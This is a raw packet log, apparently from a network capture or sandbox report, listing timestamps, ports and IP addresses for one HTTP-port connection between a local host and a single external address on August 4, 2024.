Aug 4, 2024 10:57:37.986912966 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986982107 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.987004995 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987019062 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987030029 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987052917 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987061977 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.987066031 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987077951 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987091064 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987103939 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987111092 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.987111092 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.987117052 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987212896 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.987296104 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987431049 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.987719059 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987731934 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987746000 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987809896 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.987823963 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987837076 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987848043 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987862110 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.987884998 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.987884998 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988010883 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988024950 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988037109 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988049984 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988061905 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988068104 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988075972 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988091946 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988104105 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988174915 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988188982 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988203049 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988251925 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988251925 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988331079 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988344908 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988352060 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988363981 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988380909 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988394976 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988415956 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988415956 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988440037 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988445997 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988459110 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988501072 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988550901 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988564014 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988590002 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988603115 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988615990 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988624096 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988653898 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988730907 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988744974 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988796949 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988936901 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988950014 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988962889 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.988997936 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.988997936 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.989032030 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989043951 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989057064 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989069939 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989098072 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.989198923 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.989207983 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989221096 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989233971 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989247084 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989259958 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989272118 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989279032 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.989284992 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989300013 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.989300966 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989342928 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.989342928 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.989430904 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989444971 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989504099 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.989536047 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989548922 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989561081 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989566088 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.989612103 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.005536079 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.045795918 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.270816088 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.270875931 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.270931959 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.270965099 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271019936 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271048069 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.271048069 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.271053076 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271087885 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271121979 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271148920 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.271217108 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271239996 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.271254063 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271306038 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271347046 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271364927 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.271418095 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271451950 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271469116 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.271487951 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271521091 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271559954 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.271559954 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.271578074 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271610975 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271645069 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271665096 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.271680117 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271713018 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271749020 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271776915 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.271783113 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271817923 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271823883 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.271855116 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271884918 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.271892071 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271930933 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.271965981 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.271979094 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272011042 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272047043 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272080898 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272094011 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.272094011 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.272118092 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272150993 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272185087 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272186995 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.272284031 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272320986 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272353888 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272362947 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.272362947 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.272388935 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272423983 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272454977 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272479057 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272505999 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.272505999 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.272543907 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272577047 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272610903 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272644043 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272655010 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.272655010 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.272680998 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272718906 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272728920 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.272936106 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.272969007 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273005009 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273030043 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273039103 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273056984 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273057938 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273088932 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273123026 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273150921 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273159027 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273178101 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273194075 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273227930 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273262024 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273273945 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273308992 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273313046 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273349047 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273384094 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273416042 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273451090 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273467064 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273467064 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273503065 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273538113 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273555994 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273572922 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273607016 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273641109 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273641109 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273675919 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273705006 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273709059 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273746967 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273787022 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273793936 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273818970 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273837090 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273854017 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273896933 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273931026 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.273963928 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.273963928 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.274079084 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274111986 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274144888 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274177074 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274209023 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274219036 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.274219036 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.274244070 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274276972 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274311066 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274346113 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.274349928 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274382114 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274393082 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.274416924 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274452925 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274487019 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274499893 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.274499893 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.274523020 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274555922 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.274606943 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.327076912 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.625096083 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625159979 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625194073 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625247955 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625282049 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625314951 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625354052 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625386000 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625391006 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.625391006 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.625391006 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.625428915 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625457048 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.625463009 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625500917 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625536919 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625566006 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.625571012 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625605106 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625639915 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.625721931 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625756025 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625791073 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625798941 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.625798941 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.625844955 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625879049 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625906944 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.625912905 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625947952 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.625986099 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626025915 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.626036882 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626071930 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626105070 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626113892 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.626113892 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.626141071 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626177073 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626207113 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.626210928 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626247883 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626313925 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626348972 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626374006 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.626447916 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.626468897 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626502037 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626533985 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626564980 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626580954 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.626580954 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.626597881 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626631975 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626663923 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626697063 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626724005 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.626729965 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626765013 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.626775980 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.626775980 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.626976967 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627010107 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627043962 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627046108 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.627078056 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627115011 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627147913 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627157927 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.627157927 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.627183914 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627274036 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627306938 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627338886 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627346039 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.627346039 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.627373934 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627403021 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627438068 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627458096 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.627471924 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627506018 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627538919 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627573013 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627579927 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.627580881 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.627612114 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627697945 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627721071 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.627753973 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627775908 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.627789021 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627821922 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627846956 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.627854109 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627887011 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627906084 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627938032 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.627958059 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.627958059 CEST	49755	80	192.168.2.7	27.221.16.179
